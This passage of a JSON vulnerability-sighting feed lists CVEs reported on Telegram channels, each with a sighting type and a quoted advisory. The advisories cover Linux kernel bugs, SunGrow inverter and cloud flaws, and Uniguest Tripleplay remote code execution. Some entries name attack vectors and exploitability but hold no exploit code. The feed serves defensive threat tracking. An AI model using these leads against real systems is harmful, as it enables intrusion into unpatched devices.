"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/1287", "content": "Hackers Use CVE-2024-50603 to Deploy Backdoor on Aviatrix Controllers \u2013 hackread.com\n\nWed, 15 Jan 2025 17:29:08", "creation_timestamp": "2025-01-15T13:03:23.000000Z"}, {"uuid": "4a0fa0f1-c588-4635-9afb-e937dcf34cf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50009", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2168", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50009\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\ncpufreq: amd-pstate: add check for cpufreq_cpu_get's return value\n\ncpufreq_cpu_get may return NULL. To avoid NULL-dereference check it\nand return in case of error.\n\nFound by Linux Verification Center (linuxtesting.org) with SVACE.\n\ud83d\udccf Published: 2024-10-21T18:54:02.180Z\n\ud83d\udccf Modified: 2025-01-17T15:56:21.546Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/5f250d44b8191d612355dd97b89b37bbc1b5d2cb\n2. https://git.kernel.org/stable/c/5493f9714e4cdaf0ee7cec15899a231400cb1a9f", "creation_timestamp": "2025-01-17T16:57:10.000000Z"}, {"uuid": "bff7cba1-426b-4a59-9a96-1816860f77fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50091", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2167", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50091\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\ndm vdo: don't refer to dedupe_context after releasing it\n\nClear the dedupe_context pointer in a data_vio whenever ownership of\nthe context is lost, so that vdo can't examine it accidentally.\n\ud83d\udccf Published: 2024-11-05T17:04:55.311Z\n\ud83d\udccf Modified: 2025-01-17T15:56:22.693Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/63ef073084c67878d7a92e15ad055172da3f05a3\n2. https://git.kernel.org/stable/c/0808ebf2f80b962e75741a41ced372a7116f1e26", "creation_timestamp": "2025-01-17T16:57:09.000000Z"}, {"uuid": "ef174059-0d51-45e8-8560-ddbd526615d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5042", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2354", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-5042\n\ud83d\udd39 Description: A flaw was found in the Submariner project. Due to unnecessary role-based access control permissions, a privileged attacker can run a malicious container on a node that may allow them to steal service account tokens and further compromise other nodes and potentially the entire cluster.\n\ud83d\udccf Published: 2024-05-17T13:12:00.551Z\n\ud83d\udccf Modified: 2025-01-20T08:33:53.439Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2024:4591\n2. https://access.redhat.com/security/cve/CVE-2024-5042\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2280921\n4. https://github.com/advisories/GHSA-2rhx-qhxp-5jpw", "creation_timestamp": "2025-01-20T08:59:25.000000Z"}, {"uuid": "eefd1f02-c9a1-477f-b043-cc704b9bf082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50694", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3038", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50694\n\ud83d\udd39 Description: In SunGrow WiNet-SV200.001.00.P027 and earlier versions, when copying the timestamp read from an MQTT message, the underlying code does not check the bounds of the buffer that is used to store the message. This may lead to a stack-based buffer overflow.\n\ud83d\udccf Published: 2025-01-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T22:58:40.424Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/5961", "creation_timestamp": "2025-01-24T23:04:52.000000Z"}, {"uuid": "0a40ca9f-db5f-4dfe-b355-7a8fa7a2d5c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50697", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3037", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50697\n\ud83d\udd39 Description: In SunGrow WiNet-SV200.001.00.P027 and earlier versions, when decrypting MQTT messages, the code that parses specific TLV fields does not have sufficient bounds checks. This may result in a stack-based buffer overflow.\n\ud83d\udccf Published: 2025-01-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T22:59:36.437Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/5961", "creation_timestamp": "2025-01-24T23:04:51.000000Z"}, {"uuid": "7256e35c-a0a2-4319-8cd0-505af5f7669d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50692", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3040", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50692\n\ud83d\udd39 Description: SunGrow WiNet-SV200.001.00.P027 and earlier versions contains hardcoded MQTT credentials that allow an attacker to send arbitrary commands to an arbitrary inverter. It is also possible to impersonate the broker, because TLS is not used to identify the real MQTT broker. This means that MQTT communications are vulnerable to MitM attacks at the TCP/IP level.\n\ud83d\udccf Published: 2025-01-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T22:56:35.998Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/5961", "creation_timestamp": "2025-01-24T23:04:54.000000Z"}, {"uuid": "3f52904e-aff3-47fc-bd9d-8210f89a35fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50698", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3041", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50698\n\ud83d\udd39 Description: SunGrow WiNet-SV200.001.00.P027 and earlier versions is vulnerable to heap-based buffer overflow due to bounds checks of the MQTT message content.\n\ud83d\udccf Published: 2025-01-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T23:01:22.613Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/5961", "creation_timestamp": "2025-01-25T00:05:10.000000Z"}, {"uuid": "398ec94e-2c5f-43ad-b9c4-a7d32e9b21fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50690", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3039", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50690\n\ud83d\udd39 Description: SunGrow WiNet-SV200.001.00.P027 and earlier versions contains a hardcoded password that can be used to decrypt all firmware updates.\n\ud83d\udccf Published: 2025-01-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T22:57:30.177Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/5961", "creation_timestamp": "2025-01-24T23:04:53.000000Z"}, {"uuid": "a0ab3185-825a-40c7-91ec-f20439470bd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50430", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3673", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50430\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2024-11-19T19:15:08.240\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://patchstack.com/database/vulnerability/beaver-builder-lite-version/wordpress-beaver-builder-plugin-2-8-3-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "creation_timestamp": "2025-01-31T17:25:09.000000Z"}, {"uuid": "8646c553-7f3c-460c-bbd6-17f7521985c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50311", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5258", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50311\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A denial of service (DoS) vulnerability was found in OpenShift. This flaw allows attackers to exploit the GraphQL batching functionality. The vulnerability arises when multiple queries can be sent within a single request, enabling an attacker to submit a request containing thousands of aliases in one query. This issue causes excessive resource consumption, leading to application unavailability for legitimate users.\n\ud83d\udccf Published: 2024-10-22T13:24:04.199Z\n\ud83d\udccf Modified: 2025-02-25T08:07:58.124Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2024:6122\n2. https://access.redhat.com/security/cve/CVE-2024-50311\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2319379", "creation_timestamp": "2025-02-25T08:25:22.000000Z"}, {"uuid": "3715dbfc-a189-4c0c-a217-44a326d4334f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50061", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4893", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50061\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\ni3c: master: cdns: Fix use after free vulnerability in cdns_i3c_master Driver Due to Race Condition\n\nIn the cdns_i3c_master_probe function, &master->hj_work is bound with\ncdns_i3c_master_hj. And cdns_i3c_master_interrupt can call\ncnds_i3c_master_demux_ibis function to start the work.\n\nIf we remove the module which will call cdns_i3c_master_remove to\nmake cleanup, it will free master->base through i3c_master_unregister\nwhile the work mentioned above will be used. The sequence of operations\nthat may lead to a UAF bug is as follows:\n\nCPU0                                      CPU1\n\n                                     | cdns_i3c_master_hj\ncdns_i3c_master_remove               |\ni3c_master_unregister(&master->base) |\ndevice_unregister(&master->dev)      |\ndevice_release                       |\n//free master->base                  |\n                                     | i3c_master_do_daa(&master->base)\n                                     | //use master->base\n\nFix it by ensuring that the work is canceled before proceeding with\nthe cleanup in cdns_i3c_master_remove.\n\ud83d\udccf Published: 2024-10-21T19:39:50.415Z\n\ud83d\udccf Modified: 2025-02-21T13:45:14.131Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/2a21bad9964c91b34d65ba269914233720c0b1ce\n2. https://git.kernel.org/stable/c/ea0256e393e0072e8c80fd941547807f0c28108b\n3. https://git.kernel.org/stable/c/687016d6a1efbfacdd2af913e2108de6b75a28d5\n4. https://git.kernel.org/stable/c/609366e7a06d035990df78f1562291c3bf0d4a12", "creation_timestamp": "2025-02-21T14:18:31.000000Z"}, {"uuid": "fdacdb44-0092-4c2f-abe2-d06869852a72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50070", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4892", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50070\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\npinctrl: stm32: check devm_kasprintf() returned value\n\ndevm_kasprintf() can return a NULL pointer on failure but this returned\nvalue is not checked. Fix this lack and check the returned value.\n\nFound by code review.\n\ud83d\udccf Published: 2024-10-29T00:50:11.130Z\n\ud83d\udccf Modified: 2025-02-21T13:45:15.323Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/a8d52de0a6c6b091b2771bcb98ce408cf9d69fe3\n2. https://git.kernel.org/stable/c/3b36bb1fca2b87f6292ca2a8593f297c5e9fab41\n3. https://git.kernel.org/stable/c/1f266957ae1207b0717c2d69096bc70654ae9fcb\n4. https://git.kernel.org/stable/c/b0f0e3f0552a566def55c844b0d44250c58e4df6", "creation_timestamp": "2025-02-21T14:18:31.000000Z"}, {"uuid": "8f0846de-ea0b-4da2-8850-67546aa3f293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5086", "type": "seen", "source": "Telegram/lEdBb-9LyM33h39TvIC2h-5a-EtCWKDgRik3AxqpNAE64_3w", "content": "", "creation_timestamp": "2025-03-02T11:46:30.000000Z"}, {"uuid": "91ec7386-d30d-42db-af35-4155f38a20a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50685", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6451", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50685\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SunGrow iSolarCloud before the October 31, 2024 remediation, is vulnerable to insecure direct object references (IDOR) via the powerStationService API model.\n\ud83d\udccf Published: 2025-02-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T21:52:21.928Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/6118", "creation_timestamp": "2025-03-04T22:33:21.000000Z"}, {"uuid": "eebac4e1-9549-42ef-8535-d6ff2da97e6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50704", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6377", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50704\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Unauthenticated remote code execution vulnerability in Uniguest Tripleplay before 24.2.1 allows remote attackers to execute arbitrary code via a specially crafted HTTP POST request.\n\ud83d\udccf Published: 2025-03-04T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T15:15:03.978Z\n\ud83d\udd17 References:\n1. https://uniguest.com/cve-bulletins/\n2. https://uniguest.com/wp-content/uploads/2025/02/CVE-2024-50704-Vulnerability-Summary.pdf", "creation_timestamp": "2025-03-04T15:31:11.000000Z"}, {"uuid": "d95388c8-6ecf-49a8-b7fc-f0e7756babfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50705", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6376", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50705\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Unauthenticated reflected cross-site scripting (XSS) vulnerability in Uniguest Tripleplay before 24.2.1 allows remote attackers to execute arbitrary scripts via the page parameter.\n\ud83d\udccf Published: 2025-03-04T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T15:16:20.035Z\n\ud83d\udd17 References:\n1. https://uniguest.com/cve-bulletins/\n2. https://uniguest.com/wp-content/uploads/2025/02/CVE-2024-50705-Vulnerability-Summary.pdf", "creation_timestamp": "2025-03-04T15:31:10.000000Z"}, {"uuid": "14918b0c-b4f3-4593-b447-d4cff7848c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50696", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6445", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50696\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SunGrow WiNet-S V200.001.00.P025 and earlier versions is missing integrity checks for firmware upgrades. Sending a specific MQTT message allows an update to an inverter or a WiNet connectivity dongle with a bogus firmware file that is located on attacker-controlled server.\n\ud83d\udccf Published: 2025-02-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T21:09:49.150Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/6140", "creation_timestamp": "2025-03-04T21:35:57.000000Z"}, {"uuid": "9a4e6fb2-75b2-473e-b0e5-4e2f119932f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50686", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6431", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50686\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SunGrow iSolarCloud before the October 31, 2024 remediation is vulnerable to insecure direct object references (IDOR) via the commonService API model.\n\ud83d\udccf Published: 2025-02-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T21:22:06.945Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/6112", "creation_timestamp": "2025-03-04T21:35:36.000000Z"}, {"uuid": "f68e53e8-f0aa-4e1d-8c0e-f224aafd8227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50689", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6436", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50689\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SunGrow iSolarCloud before the October 31, 2024 remediation is vulnerable to insecure direct object references (IDOR) via the orgService API model.\n\ud83d\udccf Published: 2025-02-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T21:18:04.343Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/6116", "creation_timestamp": "2025-03-04T21:35:43.000000Z"}, {"uuid": "47b93896-1a24-4f28-a0eb-a576c6de0788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50707", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6373", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50707\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Unauthenticated remote code execution vulnerability in Uniguest Tripleplay before 24.2.1 allows remote attackers to execute arbitrary code via the X-Forwarded-For header in an HTTP GET request.\n\ud83d\udccf Published: 2025-03-04T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T15:22:54.141Z\n\ud83d\udd17 References:\n1. https://uniguest.com/cve-bulletins/\n2. https://uniguest.com/wp-content/uploads/2025/02/CVE-2024-50707-Vulnerability-Summary.pdf", "creation_timestamp": "2025-03-04T15:31:05.000000Z"}, {"uuid": "019c06e3-3cc7-44ca-900e-7def453d01de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6374", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50302\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\nHID: core: zero-initialize the report buffer\n\nSince the report buffer is used by all kinds of drivers in various ways, let's\nzero-initialize it during allocation to make sure that it can't be ever used\nto leak kernel memory via specially-crafted report.\n\ud83d\udccf Published: 2024-11-19T01:30:51.300Z\n\ud83d\udccf Modified: 2025-03-04T15:16:48.992Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/e7ea60184e1e88a3c9e437b3265cbb6439aa7e26\n2. https://git.kernel.org/stable/c/3f9e88f2672c4635960570ee9741778d4135ecf5\n3. https://git.kernel.org/stable/c/d7dc68d82ab3fcfc3f65322465da3d7031d4ab46\n4. https://git.kernel.org/stable/c/05ade5d4337867929e7ef664e7ac8e0c734f1aaf\n5. https://git.kernel.org/stable/c/1884ab3d22536a5c14b17c78c2ce76d1734e8b0b\n6. https://git.kernel.org/stable/c/9d9f5c75c0c7f31766ec27d90f7a6ac673193191\n7. https://git.kernel.org/stable/c/492015e6249fbcd42138b49de3c588d826dd9648\n8. https://git.kernel.org/stable/c/177f25d1292c7e16e1199b39c85480f7f8815552", "creation_timestamp": "2025-03-04T15:31:05.000000Z"}, {"uuid": "b8770326-1463-4338-a623-2c083f7a0c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50687", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6433", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50687\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SunGrow iSolarCloud before the October 31, 2024 remediation is vulnerable to insecure direct object references (IDOR) via the devService API model.\n\ud83d\udccf Published: 2025-02-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T21:20:23.972Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/6114", "creation_timestamp": "2025-03-04T21:35:41.000000Z"}, {"uuid": "366709ab-fde1-481b-955c-e8c297d80b92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50688", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6434", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50688\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SunGrow iSolarCloud Android application V2.1.6.20241017 and prior contains hardcoded credentials. The application (regardless of the user account) and the cloud uses the same MQTT credentials for exchanging the device telemetry.\n\ud83d\udccf Published: 2025-02-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T21:19:16.753Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/6122", "creation_timestamp": "2025-03-04T21:35:41.000000Z"}, {"uuid": "881e8d77-96cd-492d-9606-7b4047765675", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50693", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6442", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50693\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SunGrow iSolarCloud before the October 31, 2024 remediation is vulnerable to insecure direct object references (IDOR) via the userService API model.\n\ud83d\udccf Published: 2025-02-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T21:13:37.985Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/6120", "creation_timestamp": "2025-03-04T21:35:54.000000Z"}, {"uuid": "3935307f-9fa2-402b-ab01-e1e97aa99208", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50691", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6441", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50691\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SunGrow iSolarCloud Android app V2.1.6.20241104 and prior suffers from Missing SSL Certificate Validation. The app explicitly ignores certificate errors and is vulnerable to MiTM attacks. Attackers can impersonate the iSolarCloud server and communicate with the Android app.\n\ud83d\udccf Published: 2025-02-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-04T21:15:45.230Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/6124", "creation_timestamp": "2025-03-04T21:35:50.000000Z"}, {"uuid": "b25d9ef8-e9ba-401e-bba6-06988ff19a50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50600", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6727", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50600\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Samsung Mobile Processor and Wearable Processor Exynos 980, 850, 1080, 1280, 1330, 1380, 1480, W920, W930, and W1000. Lack of a boundary check in STOP_KEEP_ALIVE_OFFLOAD leads to out-of-bounds access. An attacker can send a malformed message to the target through the Wi-Fi driver.\n\ud83d\udccf Published: 2025-03-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-06T18:13:06.645Z\n\ud83d\udd17 References:\n1. https://semiconductor.samsung.com/support/quality-support/product-security-updates/", "creation_timestamp": "2025-03-06T18:35:58.000000Z"}, {"uuid": "f18c84f3-9bb1-48a6-ac56-5ccba5e223e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50066", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6849", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50066\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\nmm/mremap: fix move_normal_pmd/retract_page_tables race\n\nIn mremap(), move_page_tables() looks at the type of the PMD entry and the\nspecified address range to figure out by which method the next chunk of\npage table entries should be moved.\n\nAt that point, the mmap_lock is held in write mode, but no rmap locks are\nheld yet.  For PMD entries that point to page tables and are fully covered\nby the source address range, move_pgt_entry(NORMAL_PMD, ...) is called,\nwhich first takes rmap locks, then does move_normal_pmd(). \nmove_normal_pmd() takes the necessary page table locks at source and\ndestination, then moves an entire page table from the source to the\ndestination.\n\nThe problem is: The rmap locks, which protect against concurrent page\ntable removal by retract_page_tables() in the THP code, are only taken\nafter the PMD entry has been read and it has been decided how to move it. \nSo we can race as follows (with two processes that have mappings of the\nsame tmpfs file that is stored on a tmpfs mount with huge=advise); note\nthat process A accesses page tables through the MM while process B does it\nthrough the file rmap:\n\nprocess A                      process B\n=========                      =========\nmremap\n  mremap_to\n    move_vma\n      move_page_tables\n        get_old_pmd\n        alloc_new_pmd\n                      *** PREEMPT ***\n                               madvise(MADV_COLLAPSE)\n                                 do_madvise\n                                   madvise_walk_vmas\n                                     madvise_vma_behavior\n                                       madvise_collapse\n                                         hpage_collapse_scan_file\n                                           collapse_file\n                                             retract_page_tables\n                                               i_mmap_lock_read(mapping)\n                                               pmdp_collapse_flush\n                                               i_mmap_unlock_read(mapping)\n        move_pgt_entry(NORMAL_PMD, ...)\n          take_rmap_locks\n          move_normal_pmd\n          drop_rmap_locks\n\nWhen this happens, move_normal_pmd() can end up creating bogus PMD entries\nin the line `pmd_populate(mm, new_pmd, pmd_pgtable(pmd))`.  The effect\ndepends on arch-specific and machine-specific details; on x86, you can end\nup with physical page 0 mapped as a page table, which is likely\nexploitable for user->kernel privilege escalation.\n\nFix the race by letting process B recheck that the PMD still points to a\npage table after the rmap locks have been taken.  Otherwise, we bail and\nlet the caller fall back to the PTE-level copying path, which will then\nbail immediately at the pmd_none() check.\n\nBug reachability: Reaching this bug requires that you can create\nshmem/file THP mappings - anonymous THP 